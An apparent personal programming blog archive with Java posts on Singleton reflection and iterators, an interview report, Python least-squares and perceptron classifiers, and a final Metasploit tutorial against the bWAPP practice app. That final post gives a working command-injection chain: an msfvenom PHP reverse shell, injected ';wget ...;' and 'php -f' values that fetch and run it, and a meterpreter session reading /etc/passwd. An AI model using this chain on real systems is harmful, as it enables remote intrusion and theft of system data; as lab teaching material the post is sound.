May 29, 2017

How to exploit Singleton class with Reflection API and Its prevention

Singleton design pattern is intended to create only one instance of given class in context of given class loader (class loader which loads this given class). i.e: One instance per class loader. This post will discuss how to exploit a Singleton class with Reflection API and create multiple instance of that class followed by how do we resolve it.

Below is a singleton class with instance created while class is loaded in JVM by a class loader.
class SingletonBreakable {

 private static final SingletonBreakable INSTANCE = new SingletonBreakable();

 private SingletonBreakable() {
  // No object creation allowed from outside world
 }

 public static SingletonBreakable getInstance() {
  return INSTANCE;
 }

 public Object clone() throws CloneNotSupportedException {
  throw new CloneNotSupportedException(
    "Cannot clone instance of this class");
 }

 public void display() {
  System.out.println("Hello from SingletonBreakable");
 }
}

In order to prevent multiple object creation, above class provides private constructor and it looks logical. But Java provides reflection API with we can create Multiple instance of this class and it breaks Singleton goal of creating only one instance of given class.

Lets use reflection API and try to create multiple object. Below sample class makes private constructor accessible using Reflection API and create another object from outside (other than provided by Singleton class SingletonBreakable)
package javacore;

import java.lang.reflect.Constructor;

public class SingletonBreakableClinet {

 /**
  * @param args
  */
 public static void main(String[] args) {
  /*
   * 1.Execute display method using default object provided by
   * SingletonBreakable and display hashCode too.
   */
  SingletonBreakable sb1 = SingletonBreakable.getInstance();
  System.out.println("Hashcode of original object is  " + sb1.hashCode());
  sb1.display();

  /*
   * 2. Use reflection to create duplicateObject and display its hashCode.
   */
  SingletonBreakable sb2 = createObjetUsingRefletion();
  System.out.println("Hashcode of Duplicate Object is  " + sb2.hashCode());
  sb2.display();
 }

 public static SingletonBreakable createObjetUsingRefletion() {
  SingletonBreakable sb = null;
  try {
   Constructor<SingletonBreakable> constructor = SingletonBreakable.class
     .getDeclaredConstructor(new Class[0]);
   constructor.setAccessible(true);
   sb = constructor.newInstance();
  } catch (Exception e) {
   e.printStackTrace();
  }
  return sb;
 }
}

Sample Output:-

Hashcode of original object is 576315909
Hello from SingletonBreakable
Hashcode of Duplicate Object is  990234593
Hello from SingletonBreakable

Hashcode of both object is different, it indicates we are able to create multiple object using reflection. It breaks Singleton contract and claim to create Just one instance of this class with respect of one class loader.

How to prevent reflection to create multiple instance of Singleton ? 

Instead of creating a empty private constructor, we need to throw exception from it, if instance is already created (which will be always created as class is loaded). So modified class is:

class SingletonThrowException {

 private static final SingletonThrowException INSTANCE = 
   new SingletonThrowException();

 private SingletonThrowException() {
  if (INSTANCE != null) {
   throw new IllegalStateException("Already instantiated");
  }
 }

 public static SingletonThrowException getInstance() {
  return INSTANCE;
 }

 public Object clone() throws CloneNotSupportedException {
  throw new CloneNotSupportedException(
    "Cannot clone instance of this class");
 }

 public void display() {
  System.out.println("Hello from SingletonThrowException "); }
}

 We have added a check in above constructor, if we will try to create instance of this class, exception will be thrown and object creation will not be successful. Now we try to create duplicate object and validate the modification.


package javacore;

import java.lang.reflect.Constructor;

public class SingletonUnbreakableClinet {
 public static void main(String[] args) {
  /*
   * 1.Execute display method using default object provided by
   * SingletonBreakable and display hashCode too.
   */
  SingletonThrowException sb1 = SingletonThrowException.getInstance();
  System.out.println("Hashcode of original object is  " + sb1.hashCode());
  sb1.display();

  /*
   * 2. Use reflection to create duplicateObject and display its hashCode.
   */
  SingletonThrowException sb2 = createObjetUsingRefletion();
  if (sb2 != null)
   System.out.println("Hashcode of Duplicate Object is  "
     + sb2.hashCode());
  else
   System.out.println("Object creation failed !!");
 }

 public static SingletonThrowException createObjetUsingRefletion() {
  SingletonThrowException sb = null;
  try {
   Constructor<SingletonThrowException> constructor = 
     SingletonThrowException.class
     .getDeclaredConstructor(new Class[0]);
   constructor.setAccessible(true);
   sb = constructor.newInstance();
  } catch (Exception e) {
   e.printStackTrace();
  }
  return sb;
 }
}

Sample Output:-

Hashcode of original object is  1486987673
Hello from SingletonThrowException

java.lang.reflect.InvocationTargetException
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:57)
at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
at java.lang.reflect.Constructor.newInstance(Constructor.java:526)
at javacore.SingletonUnbreakableClinet.createObjetUsingRefletion(SingletonUnbreakableClinet.java:32)
at javacore.SingletonUnbreakableClinet.main(SingletonUnbreakableClinet.java:18)
Caused by: java.lang.IllegalStateException: Already instantiated
at javacore.SingletonThrowException.<init>(SingletonThrow.java:56)
... 6 more
Object creation failed !!

Here only one instance of object is created and  when reflection API tries to create an instance it fails. so in this way we can prevent Object creation using reflection API. 

Summary :- "Always throws Exception from private constructor in the case of Singleton class."

May 27, 2017

Interview Experience at Teradata Hyderabad - Senior software engineer

Posting on behalf of my friend

Round-1:
This round was all about thread followed by some puzzle and java concept!!
Q1. It started with couple of basic questions about threads.

Q2. Sample code how do we achieve threading in java - Implementing Runnable/Extending thread.
As a follow-up start two thread and how to make main thread wait till these two threads done with its task execution - Concept of join.
What are other ways we can do it - With Countdown latch.

Q3. What is cyclic barrier and what's its uses.

Q4. Write sample code for simulating Producer-consumer problem.
Quick question related to wait()/notify()

Q5. Attributed involved in - system.out.println().
 As a followup question, In java how to redirect console output to file ?

Q6. What are design patterns I am aware of - list down all what I know and uses with example, what I have used.

Q7. Display spiral matrix of order nxn.

Q8. Puzzle: Bridge and torch problem

Round-2: It was all about Data structures and Internals of Java collections
Q1. Find distinct element in an array with repeated elements.

Q2. Find two elements in array with sum k. (Naive  and O(n) solution)

Q3. Find two elements in BST with sum k.

Q4. Discussion about HashMap and its implementaion. How we can modify this implementation of adding entry in case of collision - using BST instead of List. How does it affect complexity and all.

Round-3: Design patterns - this time not what I know. A problem was given and solve using Design patterns I know.
Q1. Design a client/server communication with following details.
Server does send and receive functionality.
Client can be of multiple types,in future multiple clients can be added in system

Q2. How to check whether one instance of java program/application is already running. if already running, do not allow to run same application again. Reference1 and Reference2

Round-4: Honest resume writing check.
Q1. What projects I have done. How much work I did ?
Q2. What was goal of doing that project ?
Q3. Summarise your carrier path what are you good at ?
Q4. Some basic question about micro-services. (It was not in my resume, popped up in discussion)
Q5. Here it comes the most difficult question I was waiting for - why I am looking for change ?

Round-5 : HR round, needless to say. it was typical HR round starting from class 10th and all.
I could not answer - any weakness which you want to improve ?
What is your current and expectation - this I answer loudly with word negotiable.
All done. We will communicate you after internal discussion.

May 22, 2017

Write an algorithm that collapses a list of Iterators into a single Iterator - Java Program

Write an algorithm that collapses a list of Iterators into a single Iterator. 

package javacore;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.List;

public class CollapseIterators {
 /**
  * @param args
  *            Write an algorithm that collapses a list of Iterators into a
  *            single Iterator.
  */
 public static void main(String[] args) {
  final Iterator<Integer> a = Arrays.asList(1, 2, 3, 4, 5).iterator();
  final Iterator<Integer> b = Arrays.asList(6).iterator();
  final Iterator<Integer> c = new ArrayList<Integer>().iterator();
  final Iterator<Integer> d = new ArrayList<Integer>().iterator();
  final Iterator<Integer> e = Arrays.asList(7, 8, 9).iterator();

  final Iterator<Integer> singleIterator = singleIterator(Arrays.asList(
    a, b, c, d, e));
  if (null != singleIterator && singleIterator.hasNext()) {
   System.out.println("Single Iterator obtained!!");
   while (singleIterator.hasNext()) {
    System.out.println(singleIterator.next().toString());
   }
  } else {
   System.out.println("Single Iterator did not obtained");
  }
 }

 public static <T> Iterator<T> singleIterator(
   final List<Iterator<T>> iteratorList) {
  ListIterator<T> it = new ListIterator<>(iteratorList);
  return it;

 }
}

class ListIterator<T> implements Iterator<T> {
 // Field
 private final Iterator<Iterator<T>> listIterator;
 private Iterator<T> currentIterator;

 // Constructor: make list iterator into Iterator<iterator>>
 public ListIterator(List<Iterator<T>> iterators) {
  this.listIterator = iterators.iterator();
  this.currentIterator = listIterator.next();
 }

 @Override
 public boolean hasNext() {
  // CurrentIterator has no next
  if (!currentIterator.hasNext()) {
   // set up next iterator as currentIterator
   if (!listIterator.hasNext())
    return false;
   currentIterator = listIterator.next();
   // NOTE: recurse to check if next still has no next
   hasNext();
  }

  return true;

 }

 public T next() {
  hasNext();
  return currentIterator.next();
 }

 // public boolean remove()
 public void remove() {
  hasNext();
  currentIterator.remove();
 }
}

Sample Output:-
 
Single Iterator obtained!!
1
2
3
4
5
6
7
8
9

Problem reference: "Java Programming Interviews Exposed"

Related Question:
How can we achieve this behaviour using Google Guava collections framework ?

May 2, 2017

Textual description of firstImageUrl

Linear classifier using least square approach in Pyhton

Sample Data:-  Use following data set 1 and data set-2 for classifier using least square approach
Data Set -1
Data Set -2

Problem statement 
:- Sample program to find the linear classifier using least square approach.

import sys
import matplotlib.pyplot as plt
import pylab as pl
import numpy as np

def getMultiplePoints(x,y,weight,boundX1,boundX2):
 x1 =[x,0]
 x2 =[0,y]
 pointsX = []
 pointsY = []
 pointsX.insert(1,y)
 pointsX.insert(2,0)
 pointsY.insert(1,0)
 pointsY.insert(2,x)
 #for boundX1
 pointsX.insert(0,boundX1)
 temp = -(weight[0]*boundX1 + weight[2])/weight[1]
 pointsY.insert(0,temp)
 #for boundX2
 pointsX.insert(3,boundX2)
 temp = -((weight[0]*boundX2) + weight[2])/weight[1]
 pointsY.insert(3,temp) 
 return (pointsX,pointsY)

#plot points 
def getCoordinatesList(dataset,weightPlot):
 XList1 =[]
 YList1 =[]
 XList2 =[]
 YList2 =[] 
 count = 0
 boundX = -4
 boundY =  4
 #compute classifier co-ordinates
 x1 = - (weightPlot[2]/weightPlot[1])
 y1 = 0
 x2 = 0
 y2 = - (weightPlot[2]/weightPlot[0])
 itr = len(dataset)/2
 # compute some random point with slope as W and bias b 
 plotTup = getMultiplePoints(x1,y2,weightPlot,boundX,boundY)
 for row in dataset:
  if(count< itr):
   XList1.append(row[0])
   YList1.append(row[1])
  else:
   XList2.append(row[0])
   YList2.append(row[1])
  count = count+1
 return (XList1, YList1,XList2, YList2,plotTup)

def plotDataPointsAndClassifier(plotData,weightPlotLS):
 boundX = -4
 boundY =  4
 colorLS = 'black'
 (XList1, YList1,XList2, YList2,plotTupLS) =
  getCoordinatesList(plotData,weightPlotLS)
 #Draw points with red and Blue color 
 plt.plot(XList1, YList1, 'ro',XList2, YList2, 'bo')
 plt.axis([boundX, boundY, boundX, boundY])
 plt.plot(plotTupLS[0],plotTupLS[1],color = colorLS,label='Least Square')
 plt.legend(loc='best') 
 plt.show()
 
def compute(row, weights):
 bias = weights[2]
 output = bias
 for i in range(len(row)-1):
  output += weights[i] * row[i]
 if row[2] == 1 and output > 0:
  return True
 elif row[2] == -1 and output <= 0: 
  return True
 else:
  return False 

#compute b to such data data point are segrated 
def getB(dataset,weights):
 flag = True
 epoch = 1
 while(True):
  flag = False ; epoch = epoch + 1
  for row in dataset:
   prediction = compute(row, weights)
   if not prediction:
    weights[2] = row[2] -(weights[0]*row[0]+weights[1]*row[1])
    flag = True
  if epoch == 10 or flag == False : 
   break
 return weights
 
# To find classifier Minimum Squared Error Procedures - using Pseudoinverse
def LeastSquareClassifier(inputData):
 #Compute b based on input size. B is 1x<size> matrix with 1
 size = len(inputData)
 b = [1 for x in range(size)]
 #find b's transpose - > 8x1 matrix 
 bt = np.matrix(b).getT()
 #Prepare input matrix from dataset 
 m = np.matrix(inputData)
 #find tranpose of input matrix
 t = m.getT()
 #Multiply transpose of input matrix and matrix -  (Y^tY)
 mul = t*m
 #find inverse of outcome of above operation - (Y^tY)^-1 
 inv = mul.getI()
 # Find pseudo inverse- Multiply inversed matrix with 
 #transpose of input matrix - (Y^tY)^-1Y^t
 secondMul = inv * t
 #find solution matrix - Multiply pseudo matrix with b
 f = secondMul * bt
 #compute weight for ploting classifier 
 weightPlot = []
 weightPlot.insert(0,f.item(1))
 weightPlot.insert(1,f.item(2))
 weightPlot.insert(2,f.item(0))
 return weightPlot

def ClassifierOnTable1():
 #Find least square classifier weight 
 inputData = [[1,3,3], [1,3,0],[1,2,1] ,[1,0,2] ,
   [-1,1 ,-1],[-1,0, 0],[-1,1,1],[-1,-1 ,0]]
 plotData =  [[3,3,1], [3,0,1],[2,1,1] ,[0,2,1] ,[-1 ,1,-1],
   [0, 0,-1],[-1,-1,-1],[1,0,-1]]
 # find classifier for given dataset and Plot it. 
 weightPlotLS = LeastSquareClassifier(inputData)
 #plot data points and classifier 
 plotDataPointsAndClassifier(plotData,weightPlotLS)
 
def ClassifierOnTable2():
 inputData = [[1,3,3], [1,3,0],[1,2,1] ,[1,0,1.5] ,
   [-1,1 ,-1],[-1,0, 0],[-1,1,1],[-1,-1 ,0]]
 plotData  = [[3,3,1], [3,0,1],[2,1,1] ,[0,1.5,1] ,[-1 ,1,-1],
   [0, 0,-1],[-1,-1,-1],[1,0,-1]]
 # find classifier for given dataset and Plot it. 
 weightPlotLS = LeastSquareClassifier(inputData)
 #plot data points and classifier 
 plotDataPointsAndClassifier(plotData,weightPlotLS)

# map the inputs to the function blocks
options = {
  1 : ClassifierOnTable1,
  2 : ClassifierOnTable2,
 }
#start
if __name__ == '__main__':
 Dataset1C1 = [ [3,3], [3,0],[2,1] ,[0,1.5]]
 Dataset1C2 = [[-1 ,1],[0, 0],[-1,-1],[1 ,0]]
 print "1. LeastSquareClassifier on Data points in Table 1 \n \
  2. LeastSquareClassifier) on Data points in Table 2 \n"
 print "Enter your choice:\t"
 num = int(raw_input())
 options[num]()

Sample Output 
:-
[zytham@s158519-vm perceptron]$ python LSP.py
1. LeastSquareClassifier on Data points in Table 1
2. LeastSquareClassifier) on Data points in Table 2

Enter your choice:
1


[zytham@s158519-vm perceptron]$ python LSP.py 
1. LeastSquareClassifier on Data points in Table 1 
 2. LeastSquareClassifier) on Data points in Table 2 

Enter your choice: 
2

Textual description of firstImageUrl

Perceptron Learning - Implement online perceptron algorithm in python

The perceptron is a linear classifier, therefore it will never get to the state with all the input vectors classified correctly if the training set D is not linearly separable, i.e. if the positive examples can not be separated from the negative examples by a hyperplane. (Source: Wikipedia)

Sample Data:  C1, C2 and C3 represents three different class of data. It is guaranteed that these data set are linearly separable.
Linearly separable data sample (Three classes C1, C2 and C3)
Problem statement:- Write a program to generate
1.linear classifier for class C1 and C2
2. linear classifier for class C2 and C3

Sample code: - 
import sys
import matplotlib.pyplot as plt
import numpy as np

# Make a prediction with weights
def compute(row, weights):
 bias = weights[2]
 output = bias
 #output = (w1 * X1) + (w2 * X2) + bias
 for i in range(len(row)-1):
  output += weights[i] * row[i]
  ##print "output is",output
 return 1 if output > 0 else 0

#extrapolate classifer line with same slope as computed by final weights 
def getMultiplePoints(x,y,weight,boundX1,boundX2):
 x1 =[x,0]
 x2 =[0,y]
 pointsX = []
 pointsY = []
 pointsX.insert(1,y)
 pointsX.insert(2,0)
 pointsY.insert(1,0)
 pointsY.insert(2,x)
 #for boundX1
 pointsX.insert(0,boundX1)
 temp = -(weight[0]*boundX1 + weight[2])/weight[1]
 pointsY.insert(0,temp)
 #for boundX2
 pointsX.insert(3,boundX2)
 temp = -((weight[0]*boundX2) + weight[2])/weight[1]
 pointsY.insert(3,temp) 
 return (pointsX,pointsY)

#plot points 
def plotCoordinates(dataset,weightPlot):
 XList1 =[]
 YList1 =[]
 XList2 =[]
 YList2 =[] 
 count = 0
 boundX = -8
 boundY = 10
 x1 = - (weightPlot[2]/weightPlot[1])
 y1 = 0
 x2 = 0
 y2 = - (weightPlot[2]/weightPlot[0])
 #print x1 , y2
 # compute some random point with slope as W and bias b 
 plotTup = getMultiplePoints(x1,y2,weightPlot,boundX,boundY)
 for row in dataset:
  if(count<=9):
   XList1.append(row[0])
   YList1.append(row[1])
  else:
   XList2.append(row[0])
   YList2.append(row[1])
  count = count+1
 #Draw points with red and Blue color 
 plt.plot(XList1, YList1, 'ro',XList2, YList2, 'bo')
 plt.axis([boundX, boundY, boundX, boundY])
 plt.plot(plotTup[0],plotTup[1])
 plt.show()


#Update weight and bias 
def updateWeight(weights,x,l_rate,error):
 #update bias
 weights[2] = weights[2] + x[2] + l_rate * error
 #update weight part w1, w2
 for i in range(len(x)-1):
  weights[i] = weights[i] + l_rate * error * x[i]
 return weights

#Find linear classifier, predit outcome for each point and if error compute weight  
def findPerceptronClassifier(dataset,weights):
 flag = True
 epoch = 0
 retList = []
 l_rate = 0.2
 count = 0
 #lastWeight = []
 while(flag):
  #flag = False
  epoch = epoch + 1  
  #print("\nepoch = epoch + 1 is %d\n",epoch)
  count = 0
  for row in dataset:
   
   predicted_val = compute(row, weights)
   error = row[-1] - predicted_val
     
   #update weights
   if error != 0:
    weights = updateWeight(weights,row,l_rate,error)
    count = count + 1
   lastWeight = weights
  if error == 0 and count == 0:   
    flag = False
  else:
   flag = True
 retList.append(epoch)
 #print "Weight is ",weights
 #print "last Weight is ",lastWeight
 
 retList.append(weights) 
 return retList
 
# Input dataset for classifier 
datasetC1C2 =[[0.1,1.1,0], [6.8 ,7.1,0], [-3.5 ,-4.1,0], [2.0 ,2.7,0] , [4.1 ,2.8,0] ,
   [3.1 ,5.0,0], [-0.8 ,-1.3,0],[0.9 ,1.2,0], [5.0 ,6.4,0], [3.9, 4.0,0],
   [7.1 ,4.2,1], [-1.4, -4.3,1],[4.5 ,0.0,1 ], [6.3 ,1.6,1 ],[4.2 ,1.9,1 ], 
   [1.4 ,-3.2,1], [2.4 ,-4.0,1 ],[2.5 ,-6.1,1 ],[8.4 ,3.7,1], [4.1 ,-2.2,1]]


datasetC2C3 = [[-3.0 , -2.9,0], [0.5,  8.7,0], [2.9 , 2.1,0], [-0.1,  5.2,0], 
 [-4.0 , 2.2,0], [-1.3,  3.7,0], 
 [-3.4,  6.2,0], [-4.1,  3.4,0], [-5.1,  1.6,0], [1.9 , 5.1,0],[7.1 ,4.2,1], 
 [-1.4, -4.3,1],[4.5 ,0.0,1 ], [6.3 ,1.6,1 ],[4.2 ,1.9,1 ],    
 [1.4 ,-3.2,1], [2.4 ,-4.0,1 ],[2.5 ,-6.1,1 ],[8.4 ,3.7,1], [4.1 ,-2.2,1]]

#initialize inital weight and bias
initial_weights = [0,0,0]
#Iteration count 
epoch = 0
outList = []
def C1C2Classifier():
 #Iteration count for convergence - Dataset C1 and C2  
 outList = findPerceptronClassifier(datasetC1C2,initial_weights)
 epoch = outList[0]
 weightPlot = outList[1]
 ##print "Weight plot is ",weightPlot
 plotCoordinates(datasetC1C2,weightPlot)
 
def C2C3Classifier():
     #Iteration count for convergence - Dataset C2 and C3  
 outList = findPerceptronClassifier(datasetC2C3,initial_weights)
 epoch = outList[0]
 weightPlot = outList[1]
 ##print "Weight plot is ",weightPlot
 plotCoordinates(datasetC2C3,weightPlot)

# map the inputs to the function blocks
options = {
  1 : C1C2Classifier,
         2 : C2C3Classifier,
 }

#start
if __name__ == '__main__':
 print "1. Run C1C2 classifier \n2. Run C2C3 classifier\n"
 print "Enter your choice:\t"
 num = int(raw_input())
 options[num]()

Sample output:-
[zytham@s158519-vm perceptron]$ python Perceptron.py
1. Run C1C2 classifier
2. Run C2C3 classifier

Enter your choice: 1



[zytham@s158519-vm perceptron]$ python Perceptron.py
1. Run C1C2 classifier
2. Run C2C3 classifier

Enter your choice:
2


Mar 12, 2017

Textual description of firstImageUrl

Commnad injection: How to use Metasploit Penetration Testing Software to find security vulnerabilities (Metasploit with bWAPP)

Metasploit is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.(wiki)
In this post we will use metasploit tool and spot command injection vulnerabilities in bWAPP. Our goal is to place a shell in application directory and execute the same, gets a reverse connection.

Step 1: - First we create a “php shell” with msfvenom(combination of Msfpayload and Msfencode). Execute following command in terminal(From metaspolit installation/apps).Below command generates a file phpshell.php.( payload which is used in later steps).

sudo ./msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.213.142 LPORT=7654 -e php/base64 -f raw > /home/zytham/Desktop/phpshell.php

[zytham@s158519-vm app]$ ls
gem  msfbinscan  msfd        msfirb       msfpescan  msfrpcd    msfvenom
irb  msfconsole  msfelfscan  msfmachscan  msfrpc     msfupdate  ruby
[zytham@s158519-vm app]$ sudo ./msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.213.142 LPORT=7654 -e php/base64 -f raw > /home/zytham/Desktop/phpshell.php
[sudo] password for zytham:
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 1291 (iteration=0)
php/base64 chosen with final size 1291
Payload size: 1291 bytes

Step 2: - Now edit this phpshell.php file and enclose its content under php tag as shown below.

Step 3:- Setup a web-Server and place the phpshell at that location. We can setup a webserver  using following command. Execute following command in terminal where we have placed phpshell file.

sudo python -m SimpleHTTPServer 80

[zytham@s158519-vm CIV]$ sudo python -m SimpleHTTPServer 8088
[sudo] password for zytham:
Serving HTTP on 0.0.0.0 port 8088 ...

Check for server is running and shell is listing. 

Step 4:- Set up a meterpreter listener on our machine (Here we have setup listener on same IP as hosted this phpshell.php) Execute following command from metaspoilt installation directory (from apps directory).On success we get into Metasploit console window.
[zytham@s158519-vm app]$ sudo ./msfconsole
[sudo] password for zytham:
                                               
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%     %%%         %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
       =[ metasploit v4.13.25-dev                         ]
+ -- --=[ 1625 exploits - 925 auxiliary - 282 post        ]
+ -- --=[ 472 payloads - 39 encoders - 9 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

Step 5:- Execute following command and setup meterpreter listener. Output of commands has been shown in below screenshot.
msf > use exploit/multi/handler
msf exploit(handler) > set LHOST 192.168.213.141
msf exploit(handler) > set LPORT 1234
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
 msf exploit(handler) > exploit

Step 6:- Copy (download) phpshell.php created locally to Web application server node using following command in command injection html UI.
;wget http://192.168.213.142:8088/phpshell.php -O /tmp/phpshell.php;


Same can verified by executing following command (shown in screenshot)
;ls -l /tmp/ phpshell.php

Step 7:- Now execute following command via application (DNS lookup text box) and make a reverse connection by executing script placed in previous step.On successful connection we obtain meterpreter terminal.

;/opt/lampp/bin/php -f /tmp/phpshell.php

Below are the terminal changes when above command is executed successfully in UI(DNS lookup)
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.213.142:7654
[*] Starting the payload handler...
[*] Sending stage (33986 bytes) to 192.168.213.142
[*] Meterpreter session 1 opened (192.168.213.142:7654 -> 192.168.213.142:49944) at 2017-04-10 23:21:59 +0530
meterpreter >
meterpreter > sysinfo
Computer    : s158519-vm.localvm.com
OS          : Linux s158519-vm.localvm.com 3.10.0-327.4.4.el7.x86_64 #1 SMP Tue Jan 5 16:07:00 UTC 2016 x86_64
Meterpreter : php/linux
meterpreter > pwd
/opt/lampp/htdocs/vulnerable-web
meterpreter > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
...........................

From above we can see that we can successfully execute OS command once shell is executed successfully and reverse connection is obtained.